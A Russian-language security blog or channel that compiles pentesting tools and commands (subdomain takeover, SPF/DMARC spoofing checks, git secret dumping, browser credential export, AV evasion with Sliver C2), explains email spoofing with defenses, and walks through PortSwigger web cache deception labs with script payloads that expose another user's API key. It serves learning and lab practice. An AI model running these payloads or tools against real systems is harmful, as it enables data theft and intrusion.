Полезное

Пересматривал свои заметки и решил скомпилировать в один пост разные, не имеющие между собой ничего общего инструменты. Раньше такого не практиковал и вряд-ли часто буду, но пока, чтобы не мозолить глаза разными ссылками в заметках, сохраню их тут.

subzy - поиск subdomain takeover, задаешь список доменов и пошел.

./subzy run —targets domains.txt

spoofy - проверяет домены на спуфинг SPF / DMARC записей.

./spoofy.py -d bugcrowd.com -o spoof.txt

ParamSpider - поиск параметров в гет-запросах для (суб)доменов с помощью веб-архива.
python3 paramspider.py --domain bugcrowd.com --exclude woff,css,js,png,svg,php,jpg --output bugcrowd.txt

NucleiFuzzer - нашел с помощью ParamSpider параметры и сразу проверил их в нуклее.

nf -d bugcrowd.com

cdncheck - проверить какие технологии используются на определенном домене.

cat domains.txt | cdncheck -resp

wappalyzergo - тоже что и cdncheck. Спасибо @szybnev.

hackBrowserData - экспорт данных из браузера (пароли, история, куки и тп).

SSRFmap - автоматизация SSRF атак.

Только в образовательных целях.


#tool

Git утечки

Раз уж на то пошло, соберу здесь все инструменты, которыми пользуюсь для поиска утечек и других полезных вещей в гит репозиториях.

GitDorker - использует список дорков гита для поиска утечек, токенов, ключей и тп по ключевому слову.

python3 GitDorker.py -tf TOKENSFILE -q tesla.com -d Dorks/DORKFILE -o tesla

github-dorks - тоже самое, только тут поиск происходит по репозиторию а не по ключевому слову.

github-dork.py -r techgaun/github-dorks

git-dumper - если вы нашли на тестируемом сайте .git папку, с помощью этого вы можете сдампить все файлы, которые принадлежат этой папке.

./git_dumper.py http://website.com/.git ~/website

trufflehog - об этом все знают, но не включит не мог. Поиск секретов по репозиториям git или github.

trufflehog git https://github.com/trufflesecurity/trufflehog.git

trufflehog github --repo=https://github.com/trufflesecurity/test_keys

Важно добавить, что у гитхаба есть рейт-лимит, который ограничивает скорость до 30 запросов в минуту. Потому для полного сканирования потребуется некоторое время.


#git #tool

И в дополнении к курсу, небольшая но полезная статья про применение С2 Sliver с обходом антивирусного решения. Очень полезно для проведения RedTeam или симуляции фишинговых кампаний.

Bypassing AV Solution Using Simple Evasion Techniques - Part 1

Только в образовательных целях.


#maldev

Учимся не только кавычки тыкать, господа хорошие.

Average Кавычка enjoyer.

С 8

Прекрасные девицы, поздравляю с восьмым марта. Желаю вам поменьше моразма по жизни, побольше любви и радости и продолжать осветлять туман жизни яркой улыбкой. Пускай колючие шипы красных роз ломают (ред-тим), а красивые и утонченные лепестки синей орхидеи защищают (блю-тим) наше с вами киберпространство. С праздником!

Email Spoofing

Тема не нова, но часто забываемая при пентесте веб-апликаций. Email Spoofing - атака на домены, которые не используют или используют криво настроенные SPF и DMARC записи, которая позволяет отправлять письма от лица этого самого домена. Используется при фишинге и спаме, т.к. у человека, который увидел знакомый домен больше доверия к письму.

Два сервиса, которые позволяют проверить DMARC и SPF записи:
https://dmarcian.com/dmarc-inspector/#
https://dmarcian.com/spf-survey/
https://mxtoolbox.com/

Важно добавить, что даже если сервис имеет DMARC и SPF записи, они могут быть настроены со следующими флагами:
p=quarantine или p=none для DMARC - означает, что письма будут попадать только в спам
~all для SPF - означает, что письма будут приняты но будут помечены как подозрительное
Короче: ты сможешь отправить письмо от лица домена, но оно попадёт в спам.

Чем можно отправить письмо в случае уязвимого домена?
Два сервиса: Emkei и DMARC-Tester.

Чем можно проверить несколько доменов сразу на наличие уязвимости?
Ранее упомянутый Spoofy.

./spoofy.py -d bugcrowd.com -o spoof.txt

Как защититься?
Установи атрибут p=reject для DMARC и -all (тот же тэг all только знак не ~ а -) для SPF. Это запретит отправку из неизвестных источников.


#emailspoofing

Так, я тут

Кто угадаёт о чем будет сейчас пост? Подсказка: это не сложно.

Web cache deception

Слёту надо понять разницу между Cache Poisoning и Cache Deception:
Cache Poisoning: Атакующий делает инъекцию в контент, который затем кэшируется для всех пользователей сервиса.
Cache Deception: Атакующий делает инъекцию в контент, который при посещении жертвой кэшируется на сервисе и к нему может получить доступ только атакующий.

Понятнее: У Серёги есть запрос, который возвращает ему его АПИ ключ. Серёга шаманит и изменяет ссылку на получение АПИ ключа так, чтобы сервер его закэшировал. Серёга даёт эту ссылку Алисе, та открывает и ГГ. Серёга снова открывает ссылку, над которой он шаманил и теперь он видит АПИ ключ Алисы, т.к. сервер закэшировал запрос Алисы.

Для этой лабы рекомендуется использовать сканнер бурпа, ибо он имеет все нужные проверки на этот тип уязвимости.

🤨1. Exploiting path mapping for web cache deception
- Log into your account.
- In Burp Suite check /my-account request.
- Modify the request to look like this:
/my-account/cache.css
- Send the request and observe X-Cache: miss
- Go to exploit server. Create the next payload:

<script>
location="https://portswigger.com/my-account/cache1.css";
</script>

- Send the exploit. Go to repeater and send the request with the same path (/my-account/cache1.css). Observe carlos' API is cached.

🤨2. Exploiting path delimiters for web cache deception
There are two ways to do this lab:
2.1 Use Portswigger's delimiters list:
- Send the /my-account request to Intruder.
- Change the request to match .css file, like this:
/my-account§§cache.css
- Paste the delimiters list into intruder and start an attack.
- Note, that the only request with 200 status code is /my-account;cache.css
2.2 Scan the /my-account request with Burp Suite.
- Burp Suite scanner will discover, that the delimiter is ;

- Go to exploit server. Create the next payload:

<script>
location="https://portswigger.com/my-account;cache1.css";
</script>

- Send the exploit. Go to repeater and send the request with the same path (/my-account;cache1.css). Observe carlos' API is cached.

🤨3. Exploiting origin server normalization for web cache deception
- Check the resources, that are cached by the server (for example everything after /resources/... is cached). You can check if the server caches by X-Cache: miss header.
- Create the next path:
/resources/..%2fmy-account?cache=1234
This will get you 200 OK and server will cache it (because of /resources/...)
- Go to exploit server. Create the next payload:

<script>
location="https://portswigger.com/resources/..%2fmy-account?cache=1234";
</script>

- Send the exploit. Go to repeater and send the request with the same path (/resources/..%2fmy-account?cache=1234). Observe carlos' API is cached.

🤨4. Exploiting cache server normalization for web cache deception
- Check the resources, that are cached by the server (for example everything after /resources/... is cached). You can check if the server caches by X-Cache: miss header.
- We are dealing with cache server instead of origin, so now we need to replace resources and my-account.
- Create the next path:
/my-account%2f%2e%2e%2fresources?cache=1234
- It will give you 404. Now you need to find a delimiter. You can brute it using intruder. The delimiter is #.
- Create the next path:
/my-account#%2f%2e%2e%2fresources?cache=1234
This will get you 200 OK and server will cache it.
- Go to exploit server. Create the next payload (do not forget to url-encode #):

<script>
location="https://portswigger.com/my-account%23%2f%2e%2e%2fresources?cache=1234";
</script>

- Send the exploit. Go to repeater and send the request with the same path (/my-account%23%2f%2e%2e%2fresources?cache=1234). Observe carlos' API is cached.


#portswigger #cache

С новым годом, господа. Любви, смекалки, стальных нервов и задач, которых стоили того, чтобы вы их решали. С праздником!

Интеграция ИИ в расширения бурпа

Сегодня вышел новый блог от портсвиггер, где они рассказывают про интеграцию ИИ в расширения. По их словам все данные, переданные таким расширениям будут "секьюрно" обработаны на стороне самого портсвиггера.

Почему это может быть крайне полезно? Например, интеграция ИИ в расширение JS Miner позволила бы выискивать секретные данные в js файлах более точно, не полагаясь на привычный поиск сигнатур (password, api_key, key и тп.) или в JSON Web Tokens, где ИИ будет сразу обрабатывать полученный из запроса токен.

В общем, если портсвиггер сделает все как надо, нас ожидают очень приятные изменения в привычном процессе поиска уязвимостей.

Ссылка на статью

Интеграция ИИ в Nuclei

В последнем обновлении для нуклей (3.3.9) был добавлен флаг -ai, который позволяет на ходу генерировать темплейт на основе ваших запросов.

Для начала пользования этой фичей нужно получить АПИ токен на сайте ProjectDiscovery. Затем запускаем нуклей с флагом auth:

nuclei -auth

И добавляем токен. Теперь мы можем пользоваться генератором темплейтов. Запуск выглядит следующим образом:

nuclei -u "http://testphp.vulnweb.com/listproducts.php?cat=1" -ai "Detect SQL errors in response when injecting common payloads into GET and POST requests" -dast

Таким образом нуклей сгенерирует темплейт для инъекции SQL в параметры с дальнейшим поиском SQL ошибок, флаг -dast разрешает сканнеру проводить тестирование параметров.

Уважаемый Дмитрий АКА @reewardius создал свой сборник уже готовых промптов для разных типов ошибок и уязвимостей. Некоторые из них уже были успешно использованы в качестве теста. Вот несколько из них для примера:

-ai "Perform fuzzing on all parameters and HTTP methods using DSL, focusing on detecting XSS vulnerabilities (Reflected, Stored, and DOM-based) with pre-conditions."
-ai "Detect exposed .git repositories and sensitive files"
-ai "Identify default credentials on login pages"
-ai "Identify open FTP servers allowing anonymous access"  

В общем ждем, когда ИИ будет топ 1 на хакерване.


#nuclei #ai